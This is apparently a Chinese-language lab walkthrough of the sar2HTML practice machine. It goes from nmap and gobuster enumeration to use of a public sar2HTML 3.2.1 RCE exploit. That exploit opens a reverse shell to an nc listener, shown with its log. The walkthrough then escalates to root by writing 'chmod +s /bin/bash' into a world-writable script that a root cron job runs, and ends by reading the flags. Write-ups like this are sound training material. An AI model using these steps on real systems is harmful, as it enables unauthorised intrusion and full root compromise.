当前位置: 首页 > article >正文

OSCP - Other Machines - sar2HTML

主要知识点

  • 路径枚举
  • cronjob提权

具体步骤

nmap扫描,只开了一个80端口

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-31 19:13 CST
Nmap scan report for 172.16.33.13
Host is up (0.035s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.78 seconds

枚举一下路径,发现有phpinfo和robots.txt,而robots.txt里有sar2HTML路径

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.16.33.13
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 277]
/.htaccess.php        (Status: 403) [Size: 277]
/.htpasswd            (Status: 403) [Size: 277]
/.htpasswd.php        (Status: 403) [Size: 277]
/phpinfo.php          (Status: 200) [Size: 95390]
/robots.txt           (Status: 200) [Size: 9]
/server-status        (Status: 403) [Size: 277]
Progress: 40952 / 40954 (100.00%)
===============================================================
Finished

尝试访问一下sar2HTML,得知是3.2.1版本,搜索一下得知其有RCE漏洞

搜索相关信息,得到

https://github.com/Jsmoreira02/sar2HTML_exploit

直接利用它的shell_mode得到reverse shell

──(kali㉿Timothy)-[~/Documents/GooAnn/172.16.33.13]
└─$ python sar2html_exploit.py  http://172.16.33.13/sar2HTML --shell_mode

 _____            _____  _   _ ________  ___ _          _____           _       _ _   
/  ___|          / __  \| | | |_   _|  \/  || |        |  ___|         | |     (_) |  
\ `--.  __ _ _ __`' / /'| |_| | | | | .  . || |  ______| |____  ___ __ | | ___  _| |_ 
 `--. \/ _` | '__| / /  |  _  | | | | |\/| || | |______|  __\ \/ / '_ \| |/ _ \| | __|
/\__/ / (_| | |  ./ /___| | | | | | | |  | || |____    | |___>  <| |_) | | (_) | | |_ 
\____/ \__,_|_|  \_____/\_| |_/ \_/ \_|  |_/\_____/    \____/_/\_\ .__/|_|\___/|_|\__|
                                                                 | |                  
                                                                 |_|                  

[+] URL found! Starting shell upload...
------------------------------
LHOST= 10.8.0.204
LPORT= 80
------------------------------

[+] Creating process...

---> Server started http://127.0.0.1:8000
---> Listening on port 80

Can't grab 0.0.0.0:80 with bind : Permission denied
[!] SHELL upload is possible in the target!

Spawning your shell :)

┌──(kali㉿Timothy)-[~/Documents/GooAnn/172.16.33.13]
└─$ sudo nc -nlvp 80
[sudo] password for kali: 
listening on [any] 80 ...
connect to [10.8.0.204] from (UNKNOWN) [172.16.33.13] 53186
bash: cannot set terminal process group (774): Inappropriate ioctl for device
bash: no job control in this shell
www-data@sar:/var/www/html/sar2HTML$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

sudo -l和suid都没有什么有用的信息,上传Linpeas.sh并执行,得到

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/5  *    * * *   root    cd /var/www/html/ && sudo ./finally.sh
......
......

这个finally.sh比较可疑,查看一下,看起来这个finally.sh会调用write.sh,而我们对于write.sh有写权限

www-data@sar:/var/www/html/sar2HTML$ cd /var/www/html/
cd /var/www/html/
www-data@sar:/var/www/html$ ls -l
ls -l
total 32
-rwxr-xr-x 1 root     root        22 Oct 20  2019 finally.sh
-rw-r--r-- 1 www-data www-data 10918 Oct 20  2019 index.html
-rw-r--r-- 1 www-data www-data    21 Oct 20  2019 phpinfo.php
-rw-r--r-- 1 root     root         9 Oct 21  2019 robots.txt
drwxr-xr-x 4 www-data www-data  4096 Nov 16 16:07 sar2HTML
-rwxrwxrwx 1 www-data www-data    30 Nov 16 13:21 write.sh
www-data@sar:/var/www/html$ cat finally.sh
cat finally.sh
#!/bin/sh

./write.sh

修改write.sh,让其赋予/bin/bash SUID

www-data@sar:/var/www/html$ echo "chmod +s /bin/bash" >write.sh
echo "chmod +s /bin/bash" >write.sh
www-data@sar:/var/www/html$ cat write.sh
cat write.sh
chmod +s /bin/bash

等几分钟后,提权成功

ww-data@sar:/var/www/html$ ls -l /bin/bash
ls -l /bin/bash
-rwsr-sr-x 1 root root 1113504 Jun  7  2019 /bin/bash
www-data@sar:/var/www/html$ /bin/bash -p
/bin/bash -p
bash-4.4# id
id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
bash-4.4# cat /root/root.txt
cat /root/root.txt
66f93d6b2ca96c9ad78a8a9ba0008e99
bash-4.4# cat /home/love/Desktop/user.txt
cat /home/love/Desktop/user.txt
427a7e47deb4a8649c7cab38df232b52
bash-4.4# 


http://www.kler.cn/a/534246.html

相关文章:

  • JavaScript前后端交互-AJAX/fetch
  • [ Spring ] Spring Boot Mybatis++ 2025
  • 并发编程 - 线程同步(三)之原子操作Interlocked简介
  • 2025年最新python就业方向、就业前景等
  • 前端 | 浅拷贝深拷贝
  • 【学术投稿-2025年计算机视觉研究进展与应用国际学术会议 (ACVRA 2025)】从计算机基础到HTML开发:Web开发的第一步
  • JeecgBoot 对接本地化的大模型 DeepSeek-R1
  • 64.进度条 C#例子 WPF例子
  • vue3中的ref相关的api及用法
  • 离散时间傅里叶变换(DTFT)公式详解:周期性与连续性剖析
  • matlab实现了一个多视角受限核机算法,结合了多个视角的数据进行二分类任务
  • 2.5学习总结
  • Unity渲染管线
  • Windows下从零开始基于Ollama与Open-WebUI本地部署deepseek R1详细指南(包含软件包和模型网盘下载)
  • Linux系统 环境变量
  • ​K8S运行时切换-从Docker到Containerd的切换实战
  • 软件测试丨PyTorch 简介
  • 后端【代码审查】C语言。
  • 使用 Axios 获取用户数据并渲染——个人信息设置+头像修改
  • (一)DeepSeek大模型安装部署-Ollama安装
  • VUE响应性系统和信号 (signal) 的联系
  • 大数据新视界 -- Hive 多租户资源分配与隔离(2 - 16 - 16)
  • 机器学习基本概念(附代码)
  • 算法 哈夫曼树和哈夫曼编码
  • 吴恩达深度学习——卷积神经网络实例分析
  • K8S Deployment 实现 蓝绿 发布